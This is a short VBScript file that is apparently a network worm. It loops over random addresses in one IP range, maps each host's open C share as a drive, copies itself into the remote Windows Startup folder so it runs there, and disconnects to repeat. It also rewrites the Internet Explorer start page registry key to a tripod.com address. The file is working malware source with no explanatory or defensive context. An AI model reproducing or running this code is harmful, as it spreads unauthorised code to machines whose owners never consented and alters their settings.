dim dot
dim octa
dim octb
dim octc
dim octd
dim sharename
dim driveconnected

on error resume next

randomize
dot = "."
octa = "209"
octb = "214"
octc = int((254 * rnd) + 1)
octd = "0"
driveconnected="0"
set wshnetwork = createobject("wscript.network")
startpage()

do
  do while driveconnected = "0"
    checkaddress()
    wshnetwork.mapnetworkdrive "z:", sharename
    enumdrives()
  loop
  copyfiles()
  disconnectdrive()
loop

function checkaddress()
  octd = octd + 1
  if octd = "255" then
    octc = int((254 * rnd) + 1)
    octd = "1"
  end if
  sharename = "\\" & octa & dot & octb & dot & octc & dot & octd & "\C"
end function

function enumdrives()
  set odrives = wshnetwork.enumnetworkdrives
  for i = 0 to odrives.count -1
    if sharename = odrives.item(i) then
      driveconnected = 1
    end if
  next
end function

function copyfiles()
  set fso = createobject("scripting.filesystemobject")
  fso.copyfile "c:\windows\startm~1\programs\startup\network.vbs", "z:\windows\startm~1\programs\startup\"
end function

function disconnectdrive()
  wshnetwork.removenetworkdrive "z:"
  driveconnected = "0"
end function

function startpage()
  set regedit = createobject("WScript.Shell")
  regedit.regwrite "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page","http://networktracker.tripod.com"
end function


